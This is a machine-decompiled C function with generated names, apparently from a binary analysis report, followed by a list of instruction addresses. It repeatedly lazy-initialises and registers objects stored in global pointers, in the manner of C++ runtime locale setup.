C-Code - Quality: 71%

			E0048C2FD(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v272;
				signed int _t285;
				void* _t532;
				short* _t766;
				void* _t836;
				void* _t837;
				signed int _t839;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				void* _t861;
				signed int _t862;
				signed int _t863;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t867;
				signed int _t868;
				signed int _t869;
				signed int _t870;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t874;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				short* _t885;
				void* _t913;
				void* _t914;

				_push(8);
				E0049D90B(0x4d6966, _t837, _t861);
				E00488DEA( &_v20, 0);
				_t862 =  *0x4ede0c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t862;
				_t285 = E0042B315(_a8, E0042B22E(0x4eddb0, _t837, _t862, _t914));
				_t838 = _t285;
				if(_t285 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t838);
				} else {
					if(_t862 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DE31(_t836, _t838, _t862, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t838, _t862);
							E00488DEA( &_v20, 0);
							_t863 =  *0x4edddc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t863;
							_t839 = E0042B315(_a8, E0042B22E(0x4edd88, _t838, _t863, __eflags));
							__eflags = _t839;
							if(_t839 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t839);
							} else {
								__eflags = _t863;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048DED3(_t836, _t839, _t863, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t839, _t863);
										E00488DEA( &_v20, 0);
										_t864 =  *0x4eddfc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t864;
										_t840 = E0042B315(_a8, E0042B22E(0x4ed910, _t839, _t864, __eflags));
										__eflags = _t840;
										if(_t840 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t840);
										} else {
											__eflags = _t864;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048DF75(_t840, _t864, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t840, _t864);
													E00488DEA( &_v20, 0);
													_t865 =  *0x4ede10; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t865;
													_t841 = E0042B315(_a8, E0042B22E(0x4eddb4, _t840, _t865, __eflags));
													__eflags = _t841;
													if(_t841 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t841);
													} else {
														__eflags = _t865;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048DFE5(_t841, _t865, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t841, _t865);
																E00488DEA( &_v20, 0);
																_t866 =  *0x4edde0; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t866;
																_t842 = E0042B315(_a8, E0042B22E(0x4edd8c, _t841, _t866, __eflags));
																__eflags = _t842;
																if(_t842 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t842);
																} else {
																	__eflags = _t866;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E04D(_t842, _t866, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t842, _t866);
																			E00488DEA( &_v20, 0);
																			_t867 =  *0x4ede14; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t867;
																			_t843 = E0042B315(_a8, E0042B22E(0x4eddb8, _t842, _t867, __eflags));
																			__eflags = _t843;
																			if(_t843 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t843);
																			} else {
																				__eflags = _t867;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E0B5(_t843, _t867, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t843, _t867);
																						E00488DEA( &_v20, 0);
																						_t868 =  *0x4edde4; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t868;
																						_t844 = E0042B315(_a8, E0042B22E(0x4edd90, _t843, _t868, __eflags));
																						__eflags = _t844;
																						if(_t844 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t844);
																						} else {
																							__eflags = _t868;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E11D(_t844, _t868, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t844, _t868);
																									E00488DEA( &_v20, 0);
																									_t869 =  *0x4ede18; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t869;
																									_t845 = E0042B315(_a8, E0042B22E(0x4eddbc, _t844, _t869, __eflags));
																									__eflags = _t845;
																									if(_t845 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t845);
																									} else {
																										__eflags = _t869;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E185(_t845, _t869, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t845, _t869);
																												E00488DEA( &_v20, 0);
																												_t870 =  *0x4edde8; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t870;
																												_t846 = E0042B315(_a8, E0042B22E(0x4edd94, _t845, _t870, __eflags));
																												__eflags = _t846;
																												if(_t846 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t846);
																												} else {
																													__eflags = _t870;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E1ED(_t846, _t870, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t846, _t870);
																															E00488DEA( &_v20, 0);
																															_t871 =  *0x4ede20; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t871;
																															_t847 = E0042B315(_a8, E0042B22E(0x4eddc4, _t846, _t871, __eflags));
																															__eflags = _t847;
																															if(_t847 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t847);
																															} else {
																																__eflags = _t871;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E255(_t847, _t871, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t847, _t871);
																																		E00488DEA( &_v20, 0);
																																		_t872 =  *0x4ede1c; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t872;
																																		_t848 = E0042B315(_a8, E0042B22E(0x4eddc0, _t847, _t872, __eflags));
																																		__eflags = _t848;
																																		if(_t848 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t848);
																																		} else {
																																			__eflags = _t872;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E2D9(_t848, _t872, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t848, _t872);
																																					E00488DEA( &_v20, 0);
																																					_t873 =  *0x4eddf0; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t873;
																																					_t849 = E0042B315(_a8, E0042B22E(0x4edd9c, _t848, _t873, __eflags));
																																					__eflags = _t849;
																																					if(_t849 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t849);
																																					} else {
																																						__eflags = _t873;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E35E(_t849, _t873, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t849, _t873);
																																								E00488DEA( &_v20, 0);
																																								_t874 =  *0x4eddec; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t874;
																																								_t850 = E0042B315(_a8, E0042B22E(0x4edd98, _t849, _t874, __eflags));
																																								__eflags = _t850;
																																								if(_t850 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t850);
																																								} else {
																																									__eflags = _t874;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E3E2(_t850, _t874, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t850, _t874);
																																											E00488DEA( &_v20, 0);
																																											_t875 =  *0x4ede00; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t875;
																																											_t851 = E0042B315(_a8, E0042B22E(0x4edda4, _t850, _t875, __eflags));
																																											__eflags = _t851;
																																											if(_t851 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t851);
																																											} else {
																																												__eflags = _t875;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E467(_t851, _t875, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t851, _t875);
																																														E00488DEA( &_v20, 0);
																																														_t876 =  *0x4eddd0; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t876;
																																														_t852 = E0042B315(_a8, E0042B22E(0x4edd7c, _t851, _t876, __eflags));
																																														__eflags = _t852;
																																														if(_t852 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t852);
																																														} else {
																																															__eflags = _t876;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E4CF(_t852, _t876, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t852, _t876);
																																																	E00488DEA( &_v20, 0);
																																																	_t877 =  *0x4ede04; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t877;
																																																	_t853 = E0042B315(_a8, E0042B22E(0x4edda8, _t852, _t877, __eflags));
																																																	__eflags = _t853;
																																																	if(_t853 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t853);
																																																	} else {
																																																		__eflags = _t877;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E537(_t853, _t877, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t853, _t877);
																																																				E00488DEA( &_v20, 0);
																																																				_t878 =  *0x4eddd4; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t878;
																																																				_t854 = E0042B315(_a8, E0042B22E(0x4edd80, _t853, _t878, __eflags));
																																																				__eflags = _t854;
																																																				if(_t854 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t854);
																																																				} else {
																																																					__eflags = _t878;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E59F(_t854, _t878, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t854, _t878);
																																																							E00488DEA( &_v20, 0);
																																																							_t879 =  *0x4ede08; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t879;
																																																							_t855 = E0042B315(_a8, E0042B22E(0x4eddac, _t854, _t879, __eflags));
																																																							__eflags = _t855;
																																																							if(_t855 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t855);
																																																							} else {
																																																								__eflags = _t879;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E607(_t855, _t879, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t855, _t879);
																																																										E00488DEA( &_v20, 0);
																																																										_t880 =  *0x4eddd8; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t880;
																																																										_t856 = E0042B315(_a8, E0042B22E(0x4edd84, _t855, _t880, __eflags));
																																																										__eflags = _t856;
																																																										if(_t856 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t856);
																																																										} else {
																																																											__eflags = _t880;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E682(_t856, _t880, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													E0049D90B(0x4d6966, _t856, _t880);
																																																													E00488DEA( &_v20, 0);
																																																													_t881 =  *0x4ede24; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t881;
																																																													_t857 = E0042B315(_a8, E0042B22E(0x4eddc8, _t856, _t881, __eflags));
																																																													__eflags = _t857;
																																																													if(_t857 != 0) {
																																																														L138:
																																																														E00488E42( &_v20);
																																																														return E0049D8D4(_t857);
																																																													} else {
																																																														__eflags = _t881;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E6FD(_t857, _t881, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																E0049D90B(0x4d6966, _t857, _t881);
																																																																E00488DEA( &_v20, 0);
																																																																_t882 =  *0x4eddf4; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t882;
																																																																_t858 = E0042B315(_a8, E0042B22E(0x4edda0, _t857, _t882, __eflags));
																																																																__eflags = _t858;
																																																																if(_t858 != 0) {
																																																																	L145:
																																																																	E00488E42( &_v20);
																																																																	return E0049D8D4(_t858);
																																																																} else {
																																																																	__eflags = _t882;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E769(_t858, _t882, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			E0049D90B(0x4d6966, _t858, _t882);
																																																																			E00488DEA( &_v20, 0);
																																																																			_t883 =  *0x4ede28; // 0x0
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t883;
																																																																			_t859 = E0042B315(_a8, E0042B22E(0x4eddcc, _t858, _t883, __eflags));
																																																																			__eflags = _t859;
																																																																			if(_t859 != 0) {
																																																																				L152:
																																																																				E00488E42( &_v20);
																																																																				return E0049D8D4(_t859);
																																																																			} else {
																																																																				__eflags = _t883;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					__eflags = E0048E7D5(_t859, _t883, __eflags) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(8);
																																																																						E0049D90B(0x4d6966, _t859, _t883);
																																																																						E00488DEA( &_v20, 0);
																																																																						_t884 =  *0x4eddf8; // 0x0
																																																																						_v4 = _v4 & 0x00000000;
																																																																						_v16 = _t884;
																																																																						_t860 = E0042B315(_a8, E0042B22E(0x4edd78, _t859, _t884, __eflags));
																																																																						__eflags = _t860;
																																																																						if(_t860 != 0) {
																																																																							L159:
																																																																							E00488E42( &_v20);
																																																																							return E0049D8D4(_t860);
																																																																						} else {
																																																																							__eflags = _t884;
																																																																							if(__eflags == 0) {
																																																																								_push(_a8);
																																																																								_push( &_v16);
																																																																								_t532 = E0048E849(_t860, _t884, __eflags);
																																																																								_pop(_t766);
																																																																								__eflags = _t532 - 0xffffffff;
																																																																								if(__eflags == 0) {
																																																																									E0042B042(__eflags);
																																																																									asm("int3");
																																																																									_push(_t884);
																																																																									_t885 = _t766;
																																																																									_t278 = _t885 + 0x10;
																																																																									 *_t278 =  *(_t885 + 0x10) & 0x00000000;
																																																																									__eflags =  *_t278;
																																																																									 *((intOrPtr*)(_t885 + 0x14)) = 7;
																																																																									 *_t885 = 0;
																																																																									E00494BE0( *((intOrPtr*)(_t913 + 8)));
																																																																									return _t885;
																																																																								} else {
																																																																									_t860 = _v16;
																																																																									_v16 = _t860;
																																																																									_v4 = 1;
																																																																									E0048919D(_t860);
																																																																									 *0x4f02b4();
																																																																									 *((intOrPtr*)( *((intOrPtr*)( *_t860 + 4))))();
																																																																									 *0x4eddf8 = _t860;
																																																																									goto L159;
																																																																								}
																																																																							} else {
																																																																								_t860 = _t884;
																																																																								goto L159;
																																																																							}
																																																																						}
																																																																					} else {
																																																																						_t859 = _v16;
																																																																						_v16 = _t859;
																																																																						_v4 = 1;
																																																																						E0048919D(_t859);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t859 + 4))))();
																																																																						 *0x4ede28 = _t859;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t859 = _t883;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t858 = _v16;
																																																																			_v16 = _t858;
																																																																			_v4 = 1;
																																																																			E0048919D(_t858);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t858 + 4))))();
																																																																			 *0x4eddf4 = _t858;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t858 = _t882;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t857 = _v16;
																																																																_v16 = _t857;
																																																																_v4 = 1;
																																																																E0048919D(_t857);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t857 + 4))))();
																																																																 *0x4ede24 = _t857;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t857 = _t881;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t856 = _v16;
																																																													_v16 = _t856;
																																																													_v4 = 1;
																																																													E0048919D(_t856);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t856 + 4))))();
																																																													 *0x4eddd8 = _t856;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t856 = _t880;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t855 = _v16;
																																																										_v16 = _t855;
																																																										_v4 = 1;
																																																										E0048919D(_t855);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t855 + 4))))();
																																																										 *0x4ede08 = _t855;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t855 = _t879;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t854 = _v16;
																																																							_v16 = _t854;
																																																							_v4 = 1;
																																																							E0048919D(_t854);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t854 + 4))))();
																																																							 *0x4eddd4 = _t854;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t854 = _t878;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t853 = _v16;
																																																				_v16 = _t853;
																																																				_v4 = 1;
																																																				E0048919D(_t853);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t853 + 4))))();
																																																				 *0x4ede04 = _t853;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t853 = _t877;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t852 = _v16;
																																																	_v16 = _t852;
																																																	_v4 = 1;
																																																	E0048919D(_t852);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t852 + 4))))();
																																																	 *0x4eddd0 = _t852;
																																																	goto L103;
																																																}
																																															} else {
																																																_t852 = _t876;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t851 = _v16;
																																														_v16 = _t851;
																																														_v4 = 1;
																																														E0048919D(_t851);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t851 + 4))))();
																																														 *0x4ede00 = _t851;
																																														goto L96;
																																													}
																																												} else {
																																													_t851 = _t875;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t850 = _v16;
																																											_v16 = _t850;
																																											_v4 = 1;
																																											E0048919D(_t850);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t850 + 4))))();
																																											 *0x4eddec = _t850;
																																											goto L89;
																																										}
																																									} else {
																																										_t850 = _t874;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t849 = _v16;
																																								_v16 = _t849;
																																								_v4 = 1;
																																								E0048919D(_t849);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t849 + 4))))();
																																								 *0x4eddf0 = _t849;
																																								goto L82;
																																							}
																																						} else {
																																							_t849 = _t873;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t848 = _v16;
																																					_v16 = _t848;
																																					_v4 = 1;
																																					E0048919D(_t848);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t848 + 4))))();
																																					 *0x4ede1c = _t848;
																																					goto L75;
																																				}
																																			} else {
																																				_t848 = _t872;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t847 = _v16;
																																		_v16 = _t847;
																																		_v4 = 1;
																																		E0048919D(_t847);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t847 + 4))))();
																																		 *0x4ede20 = _t847;
																																		goto L68;
																																	}
																																} else {
																																	_t847 = _t871;
																																	goto L68;
																																}
																															}
																														} else {
																															_t846 = _v16;
																															_v16 = _t846;
																															_v4 = 1;
																															E0048919D(_t846);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t846 + 4))))();
																															 *0x4edde8 = _t846;
																															goto L61;
																														}
																													} else {
																														_t846 = _t870;
																														goto L61;
																													}
																												}
																											} else {
																												_t845 = _v16;
																												_v16 = _t845;
																												_v4 = 1;
																												E0048919D(_t845);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t845 + 4))))();
																												 *0x4ede18 = _t845;
																												goto L54;
																											}
																										} else {
																											_t845 = _t869;
																											goto L54;
																										}
																									}
																								} else {
																									_t844 = _v16;
																									_v16 = _t844;
																									_v4 = 1;
																									E0048919D(_t844);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t844 + 4))))();
																									 *0x4edde4 = _t844;
																									goto L47;
																								}
																							} else {
																								_t844 = _t868;
																								goto L47;
																							}
																						}
																					} else {
																						_t843 = _v16;
																						_v16 = _t843;
																						_v4 = 1;
																						E0048919D(_t843);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t843 + 4))))();
																						 *0x4ede14 = _t843;
																						goto L40;
																					}
																				} else {
																					_t843 = _t867;
																					goto L40;
																				}
																			}
																		} else {
																			_t842 = _v16;
																			_v16 = _t842;
																			_v4 = 1;
																			E0048919D(_t842);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t842 + 4))))();
																			 *0x4edde0 = _t842;
																			goto L33;
																		}
																	} else {
																		_t842 = _t866;
																		goto L33;
																	}
																}
															} else {
																_t841 = _v16;
																_v16 = _t841;
																_v4 = 1;
																E0048919D(_t841);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t841 + 4))))();
																 *0x4ede10 = _t841;
																goto L26;
															}
														} else {
															_t841 = _t865;
															goto L26;
														}
													}
												} else {
													_t840 = _v16;
													_v16 = _t840;
													_v4 = 1;
													E0048919D(_t840);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t840 + 4))))();
													 *0x4eddfc = _t840;
													goto L19;
												}
											} else {
												_t840 = _t864;
												goto L19;
											}
										}
									} else {
										_t839 = _v16;
										_v16 = _t839;
										_v4 = 1;
										E0048919D(_t839);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t839 + 4))))();
										 *0x4edddc = _t839;
										goto L12;
									}
								} else {
									_t839 = _t863;
									goto L12;
								}
							}
						} else {
							_t838 = _v16;
							_v16 = _t838;
							_v4 = 1;
							E0048919D(_t838);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t838 + 4))))();
							 *0x4ede0c = _t838;
							goto L5;
						}
					} else {
						_t838 = _t862;
						goto L5;
					}
				}
			}

0x0048c2fd
0x0048c304
0x0048c30e
0x0048c313
0x0048c31e
0x0048c322
0x0048c32e
0x0048c333
0x0048c337
0x0048c37c
0x0048c37f
0x0048c38b
0x0048c339
0x0048c33b
0x0048c341
0x0048c347
0x0048c34f
0x0048c352
0x0048c38c
0x0048c391
0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c8
0x0048c3ca
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
